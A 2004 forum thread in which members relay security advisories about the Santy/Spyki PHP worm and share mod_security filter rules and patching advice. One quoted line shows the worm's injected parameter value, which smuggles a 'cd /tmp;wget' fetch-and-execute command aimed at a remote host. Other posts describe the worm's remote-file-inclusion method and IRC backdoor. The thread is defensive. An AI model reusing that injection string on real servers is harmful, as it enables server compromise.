PHP Forums Beware

[Prince Serendip]

At http://castlecops.com/ Paul Laudanski wrote:

Folks, it seems that Santy worm has taken on a new strain. It also searches Yahoo now in addition to Google, but it looks for any PHP scripts with all possible arguments passed thru in the HTTP GET. This worm tries all arguments in your PHP script to throw in a shell commands that access a particular website, download some text files into /tmp, and then execute them using Perl. If you are using Mod_Security, you might want to try something like this (its working for us so far):

SecFilter "visualcoders\.net/spy\.gif\?\&cmd"

SecFilter ":/"

Just in case the URL changes, the latter should still get all sorts of:

http://

ftp://

Naturally, the latter also filters on

%3a%2f

It is Christmas after all, so a quick patch to throw HTTP 406s at the requester works thru the above.

Posted on Saturday, 25 December 2004 @ 16:33:38 EST by Paul

Just to let you know so you will be prepared.

Best regards

Edit: ...and Merry Christmas!

[Redhat]

Google has stopped this worm from using it's engine.

Only a few days for a variant though...

[expertec]

Does this affect Invision boards?

[Redhat]

Does this affect Invision boards?

I'll get a copy and find out. I've heard it now attacks all PHP scripts on the net, that carry this vulnr. but if Invision is all patched up, NO it is not vulnerable, just like a ptached phpbb2 forum is not vulnerable.

HTH :)

[Redhat]

I take that back about the PHPBB2 and being patched, there seems to be no patch at this moment... I was miss informed.

* UPDATE: phpBB Worm. Holiday Security Guide, Predictions for 2005, Sign that you take security too serious.

phpBB Worm (added Dec 21st 12 pm EST)

We just received reports about a new worm that infects web servers running phpBB. Apparently, there is no patch at this point. However, according to viruslist.com, a workaround can be found here:http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513 .

Currently, Google returns about 5.7 Million hits when searching for 'powered by phpBB'. A quick look at some of the sites matched didn't turn up any defacement so far.

According to some reports we got, patching php to the latest version (4.3.10 or 5.0.3) will fix the problem. The bug is a php bug, but phpBB makes it easy to mass-exploit this bug.

If you are infected and are able to extract a copy of the perl script, submit it via our contact form:http://isc.sans.org/contact.php .

http://isc.sans.org//diary.php?date=2004-12-20

And info on that it can attack ALL php scripts :

Hello,

the new santy version not only attacks phpBB.

It uses the brasilian Google site to find all kinds of PHP skripts.

It parses their URLs and overwrites variables with strings like:

'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget

www.visualcoders.net/spybot.txt;...

Often enough this leads to download and execution of code.

On success the worm connects to an IRC server, where already more than 700

zombies are waiting for commands.

I shall take a look at the relevant code and see if a patched Invision is vulnerable.

[andsome]

What does all the above mean to Joe Public and his/her computer?

[Redhat]

What does all the above mean to Joe Public and his/her computer?

Nothing. It doesn't affect home computers. Just webservers running forums and the like.

[Craig]

You'll be glad to know that the server software Windows Forum runs on was updated a couple of days ago, and as a precautionary measure the add-on script 'phpbb' and 'phpbb2' have been disabled.

As of yet, no one is aware of Invision Board being affected.

Craig.

[Prince Serendip]

I have an update on Santy.c. See this link here: http://isc.sans.org//index.php

A php Internet worm released on 12/25/2004 that doesn't use php bulletin boards - it attacks "ALL php scripts/pages which are vulnerable to a "File Inclusion" Flaw."

K-OTik Security has named this the PhpInclude.Worm and their alert is emphatic that "This worm attacks ALL php scripts/pages which are vulnerable to a "File Inclusion" Flaw (related to an insecure use of the Include() & Require() functions).

These "programming" flaws are independent from the server's PHP version, they result from common coding mistakes.

K-OTik has described this worm as a significant threat. And from what I've seen this shift and weekend you may not be configured to "Dodge This".

Please note that all php boards are affected by this threat.

[Craig]

In the unlikely event that Windows Forum suffers an attack from this new worm, members will be pleased to know that back-up's of the forum are made twice a day, so data lose will be to a minimum.

Craig.

[andsome]

In the unlikely event that Windows Forum suffers an attack from this new worm, members will be pleased to know that back-up's of the forum are made twice a day, so data lose will be to a minimum.

Craig.

Good news Craig. It's a pity these idiots can't be got at and and locked away for good.

[Prince Serendip]

I have a fresh update from the trenches. Paul Laudanski has put suggested fixes for this worm on the CastleCops Frontpage: http://computercops.biz/article5642.html

Filter examples are provided for:

- modsecurity

- php

- modrewrite

A couple hardening suggestions are also included.

Word and info are spreading. Sophos has picked it up: http://www.sophos.com/virusinfo/analyses/perlsantyfam.html along with US-CERT Technical Cyber Security Alert - Exploitation of phpBB highlight parameter vulnerability (TA04-356A)

http://www.net-security.org/advisory.php?id=4198

You need also to update your phpBB versions to 2.0.11. All previous versions are affected.

Best regards

[nellie2]

Thanks for keeping us updated, it is much appreciated

[Prince Serendip]

You are welcome.

Dealing with this problem has helped me "get out more." I have been spending too much time at CC when I still have friends all over the Internet. :flowers:

[nellie2]

Does this just affect windows php or all php systems?

[Prince Serendip]

This worm attacks attacks "ALL php scripts/pages which are vulnerable to a "File Inclusion" Flaw," (see above) so it does them all, not just Windows.

[Prince Serendip]

Upgrading your phpBB to 2.0.11 only fixes the problem with Santy.A.

It does nothing for the other Santy's out there. We need to get all AV experts working on this real quick.

If you have been searching for the thread on this at CastleCops and cannot find it, it's in a private Staff forum. :ninja: We are still working on this thing.

Some of the major AV companies (like F-Secure) are claiming this worm is "under control." Not by a long shot.

As soon as I get new info, I will let you know.

[Prince Serendip]

This is from Viruslist at http://www.viruslist.com/en/weblog

Santy updates - worm renamed

We've decided to rename Santy.d and Santy.e to Spyki.a and b. We are doing this because:

A deeper analysis of the new worm that we detected at the weekend, which seemed to be a new version of Santy, shows that it's different to Santy. The most important difference is that it doesn't exploit vulnerable versions of phpBB to spread. It attacks any vulnerability which contains the 'Remote file inclusion' vulnerability. So the problem is that this vulnerability isn't connected with which version of PHP is installed on the server - it happens because of errors in programming PHP pages.

Once the worm penetrates the server, it uploads Backdoor.Perl.Shellbot.a - also written in Perl. This backdoor connects with certain IRC channels to receive and execute commands from its author/ user.

The new worm uses the Brazilian Google server for search requests, and includes the copyright of the Brazil hacker group 'Atrix Team' - it seems that this group probably wrote the new worm.

We recommend everyone using PHP for web page programming to check their servers for errors. A description of the errors is here.

Update on Santy.e

A more detailed analysis of Santy.e is showing very worrying info.

The initial analysis suggested that with an updated version of php, one was not vulnerable for this attack, but it seems that Santy.e tries to exploit bad coding.

Santy.e tries to exploit php scripts with what is called "PHP Scripts Automated Arbitrary File Inclusion".

This can only be prevented with decent, secure coding.

This means that every site is potentially in danger.

There are already a fair lot of reports of websites that get 'attacked' by infected hosts.

Expect sites to get compromised or become (very) slow, as unshielded attacks will result in a (great) increase of server load, as the server has to process the incoming data.

Sites/servers will need to come up with a way to block the attacks.

We will see how this develops.

New Santy also targets php vulnerabilities

We have detected a new Santy variant which also targets vulnerabilties in older versions of php.

This new variant is more advanced/dangerous in a number of ways:

-Uses yahoo next to google to search for vulnerable sites.

-Targets next to 'phpBB pre 2.0.11' sites, also sites that use an older version of php.

-New Santy variants try to install a Bot, giving the masters control.

-Most sites have got huge bandwidth, this would make a spam run or DDoS extremely effective - although this is a side effect.

We detect the latest Santy variant as Net-Worm.Perl.Santy.e, the installed bot as Backdoor.Perl.Shellbot.b.

There are also some other new Perl Backdoors.

We would like to urge everybody to make sure their php is up to date. (Next to phpBB of course).

If you aren't the hoster of your site, contact the hoster even though it's christmas, malware doesn't wait till next week.

Best regards